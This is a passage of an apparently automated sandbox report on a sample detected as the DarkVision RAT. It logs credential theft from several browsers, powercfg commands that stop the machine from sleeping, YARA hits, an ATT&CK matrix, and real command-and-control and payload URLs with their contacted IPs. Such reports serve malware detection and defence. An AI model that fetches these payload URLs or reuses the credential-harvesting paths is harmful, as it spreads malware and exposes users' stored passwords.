Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\downloaded_file.exe

Code function: 13_2_003141E0 __snwprintf,RegCreateKeyExW,RegCloseKey,_memset,GetSystemTime,SystemTimeToFileTime,

13_2_003141E0

Source: C:\Users\user\AppData\Local\Temp\downloaded_file.exe

Code function: 13_2_00322530 LocalAlloc,LoadLibraryW,LocalFree,GetProcAddress,LocalFree,_memset,LocalFree,GetUserGeoID,gethostname,gethostbyname,GetComputerNameExW,GetUserNameW,GetTickCount64,LocalFree,

13_2_00322530

Source: C:\Windows\explorer.exe

Code function: 18_2_0238A674 _lock,_get_daylight,_get_daylight,_get_daylight,___lc_codepage_func,free,free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,

18_2_0238A674

Source: C:\Users\user\AppData\Local\Temp\downloaded_file.exe

Code function: 13_2_0031C090 GetModuleHandleA,GetProcAddress,RtlGetVersion,

13_2_0031C090

Source: C:\Windows\explorer.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Modifies power options to not sleep / hibernate

Source: C:\ProgramData\WindowsSystem1\WindosCPUsystem.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
Source: C:\ProgramData\WindowsSystem1\WindosCPUsystem.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
Source: C:\ProgramData\WindowsSystem1\WindosCPUsystem.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
Source: C:\ProgramData\WindowsSystem1\WindosCPUsystem.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
Source: C:\ProgramData\WindowsSystem1\WindosCPUsystem.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
Source: C:\ProgramData\WindowsSystem1\WindosCPUsystem.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
Source: C:\ProgramData\WindowsSystem1\WindosCPUsystem.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
Source: C:\ProgramData\WindowsSystem1\WindosCPUsystem.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0

Source: explorer.exe, 0000001C.00000002.2933340637.00000000013E0000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: procexp.exe

Stealing of Sensitive Information

Yara detected DarkVision Rat

Source: Yara match	File source: 13.2.downloaded_file.exe.300000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.powershell.exe.29e75ee9280.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.downloaded_file.exe.fedfd8.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.explorer.exe.e00000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.powershell.exe.29e75e6b438.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.powershell.exe.29e75e6b438.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.0.downloaded_file.exe.300000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.powershell.exe.29e75ee9280.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000C.00000002.1939596081.0000029E75EE0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.2933920370.0000000000E38000.00000002.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000003.1947121395.0000000000FEE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000000.1946141643.0000000000332000.00000002.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.1957167452.0000000000FEB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.1939596081.0000029E75DED000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 7644, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: downloaded_file.exe PID: 7724, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: explorer.exe PID: 7784, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\downloaded_file.exe, type: DROPPED

Contains functionality to steal Chrome passwords or cookies

Source: C:\Windows\explorer.exe

Code function: ENCWCHAR \Google\Chrome\User Data\Default\Login Data

18_2_022C40D0

Contains functionality to steal saved passwords of Firefox

Source: C:\Windows\explorer.exe	Code function: LocalAlloc,LocalAlloc,LocalAlloc,SHGetKnownFolderPath,LocalAlloc,LocalAlloc,GetPrivateProfileStringW,LocalAlloc,_snprintf,LocalAlloc,_snprintf,CreateFileA,GetFileSize,LocalAlloc,ReadFile,type_info::_name_internal_method,wsprintfW,type_info::_name_internal_method,wsprintfW,type_info::_name_internal_method,type_info::_name_internal_method,MultiByteToWideChar,wsprintfW,type_info::_name_internal_method,type_info::_name_internal_method,MultiByteToWideChar,wsprintfW,LocalFree,CloseHandle,LocalFree,LocalFree,LocalFree,LocalFree,CoTaskMemFree,LocalFree,LocalFree,LocalFree, encryptedPassword	18_2_022CAF00
Source: C:\Windows\explorer.exe	Code function: LocalAlloc,LocalAlloc,LocalAlloc,SHGetKnownFolderPath,LocalAlloc,LocalAlloc,GetPrivateProfileStringW,LocalAlloc,_snprintf,LocalAlloc,_snprintf,CreateFileA,GetFileSize,LocalAlloc,ReadFile,type_info::_name_internal_method,wsprintfW,type_info::_name_internal_method,wsprintfW,type_info::_name_internal_method,type_info::_name_internal_method,MultiByteToWideChar,wsprintfW,type_info::_name_internal_method,type_info::_name_internal_method,MultiByteToWideChar,wsprintfW,LocalFree,CloseHandle,LocalFree,LocalFree,LocalFree,LocalFree,CoTaskMemFree,LocalFree,LocalFree,LocalFree, encryptedPassword	18_2_022CAF00
Source: C:\Windows\explorer.exe	Code function: LocalAlloc,LocalAlloc,LocalAlloc,SHGetKnownFolderPath,LocalAlloc,LocalAlloc,GetPrivateProfileStringW,LocalAlloc,_snprintf,LocalAlloc,_snprintf,CreateFileA,GetFileSize,LocalAlloc,ReadFile,type_info::_name_internal_method,wsprintfW,type_info::_name_internal_method,wsprintfW,type_info::_name_internal_method,type_info::_name_internal_method,MultiByteToWideChar,wsprintfW,type_info::_name_internal_method,type_info::_name_internal_method,MultiByteToWideChar,wsprintfW,LocalFree,CloseHandle,LocalFree,LocalFree,LocalFree,LocalFree,CoTaskMemFree,LocalFree,LocalFree,LocalFree, encryptedPassword	18_2_022CAF00

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cert9.db
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Local\BraveSoftware\Brave-Browser\User Data\Default\Login Data
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Local\Vivaldi\User Data\Default\Login Data
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\logins.json
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\pkcs11.txt
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\z6bny8rn.default\pkcs11.txt

Remote Access Functionality

Yara detected DarkVision Rat

Source: Yara match	File source: 13.2.downloaded_file.exe.300000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.powershell.exe.29e75ee9280.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.downloaded_file.exe.fedfd8.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.explorer.exe.e00000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.powershell.exe.29e75e6b438.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.powershell.exe.29e75e6b438.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.0.downloaded_file.exe.300000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.powershell.exe.29e75ee9280.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000C.00000002.1939596081.0000029E75EE0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.2933920370.0000000000E38000.00000002.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000003.1947121395.0000000000FEE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000000.1946141643.0000000000332000.00000002.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.1957167452.0000000000FEB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.1939596081.0000029E75DED000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 7644, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: downloaded_file.exe PID: 7724, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: explorer.exe PID: 7784, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\downloaded_file.exe, type: DROPPED

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	11 Scripting	Valid Accounts	11 Windows Management Instrumentation	11 Scripting	1 Exploitation for Privilege Escalation	11 Disable or Modify Tools	2 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	2 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	23 Native API	1 DLL Side-Loading	1 Abuse Elevation Control Mechanism	1 Deobfuscate/Decode Files or Information	21 Input Capture	11 Account Discovery	Remote Desktop Protocol	1 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	1 Windows Service	1 DLL Side-Loading	1 Abuse Elevation Control Mechanism	2 Credentials In Files	3 File and Directory Discovery	SMB/Windows Admin Shares	21 Input Capture	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	12 Command and Scripting Interpreter	2 Registry Run Keys / Startup Folder	1 Windows Service	2 Obfuscated Files or Information	NTDS	126 System Information Discovery	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	2 PowerShell	Network Logon Script	612 Process Injection	1 Software Packing	LSA Secrets	451 Security Software Discovery	SSH	Keylogging	113 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	2 Registry Run Keys / Startup Folder	1 DLL Side-Loading	Cached Domain Credentials	131 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Masquerading	DCSync	13 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Modify Registry	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	131 Virtualization/Sandbox Evasion	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	612 Process Injection	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	34%	ReversingLabs	Win64.Downloader.Generic
file.exe	45%	Virustotal		Browse
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\downloaded_file.exe	100%	Joe Sandbox ML
C:\ProgramData\WindowsSystem1\WindosCPUsystem.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\asrjskwdsdoc.sys	5%	ReversingLabs
C:\Users\user\AppData\Local\Temp\downloaded_file.exe	83%	ReversingLabs	Win32.Trojan.Doina

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
woo097878781.win	11%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
https://woo097878781.win/32.EXEhttps://woo097878781.win/64.EXEhttps://woo097878781.win/upload.php66M	0%	Avira URL Cloud	safe
https://woo097878781.win/downloaded_file.bin	0%	Avira URL Cloud	safe
https://woo097878781.win/rdpi2	0%	Avira URL Cloud	safe
https://woo097878781.win/64.EXEhttps://woo097878781.win/upload.php66Mozilla/5.0	0%	Avira URL Cloud	safe
https://woo097878781.win/WindosCPUsystem.exeWindowsSystem1	0%	Avira URL Cloud	safe
https://woo097878781.win/8p	0%	Avira URL Cloud	safe
https://woo097878781.win/66/api/endpoint.phpJWO	0%	Avira URL Cloud	safe
https://woo097878781.win/WindosCPUsystem.exe	100%	Avira URL Cloud	malware
https://woo097878781.win/66/api/endpoint.php	0%	Avira URL Cloud	safe
https://woo097878781.win	0%	Avira URL Cloud	safe
https://woo097878781.win/WindosCPUsystem.exeWindowsSystem1WindosCPUsystem.exe	0%	Avira URL Cloud	safe
https://woo097878781.win/66/api/endpoint.php--cinit-version=3.4.1--nicehash--tls--cinit-idle-wait=5-	0%	Avira URL Cloud	safe
https://woo097878781.win/	0%	Avira URL Cloud	safe
https://woo097878781.win/upload.php	100%	Avira URL Cloud	malware
https://woo097878781.win/32.EXE	0%	Avira URL Cloud	safe
https://woo097878781.win/66/api/endpoint.php6	0%	Avira URL Cloud	safe
https://woo097878781.win:443/upload.phpZ	0%	Avira URL Cloud	safe
https://woo097878781.win/r	0%	Avira URL Cloud	safe
https://woo097878781.win:443/upload.php	100%	Avira URL Cloud	malware
http://woo097878781.win	0%	Avira URL Cloud	safe
https://woo097878781.win/66/api/endpoint.phpProvider	0%	Avira URL Cloud	safe
https://woo097878781.win/downloaded_file.bin	6%	Virustotal		Browse
https://woo097878781.win/66/api/endpoint.phpyeerysyjbfoqmofc	0%	Avira URL Cloud	safe
https://woo097878781.win/C	0%	Avira URL Cloud	safe
https://woo097878781.win/64.EXE	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
pool.hashvault.pro	37.203.243.102	true	false		high
woo097878781.win	154.216.20.243	true	true	11%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://woo097878781.win/downloaded_file.bin	true	6%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://woo097878781.win/WindosCPUsystem.exe	true	Avira URL Cloud: malware	unknown
https://woo097878781.win/64.EXE	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://nuget.org/NuGet.exe	powershell.exe, 00000007.00000002.1823090000.0000023864C62000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1823090000.0000023864DA5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1807712895.0000023856574000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0	powershell.exe, 00000007.00000002.1807712895.0000023856378000.00000004.00000800.00020000.00000000.sdmp	false		high
https://woo097878781.win/rdpi2	explorer.exe, 00000012.00000003.2618182430.0000000000915000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000012.00000002.2644899581.0000000000915000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000007.00000002.1807712895.00000238564EE000.00000004.00000800.00020000.00000000.sdmp	false		high
http://r11.o.lencr.org0#	explorer.exe, 00000012.00000003.2618390437.0000000002841000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000012.00000003.2618077052.00000000008A0000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000012.00000003.2618182430.0000000000915000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000012.00000002.2643180030.00000000008A1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000012.00000003.2618256867.0000000002840000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000012.00000002.2644899581.0000000000915000.00000004.00000020.00020000.00000000.sdmp	false		high
https://woo097878781.win/64.EXEhttps://woo097878781.win/upload.php66Mozilla/5.0	downloaded_file.exe, 0000000D.00000003.1947121395.0000000001063000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
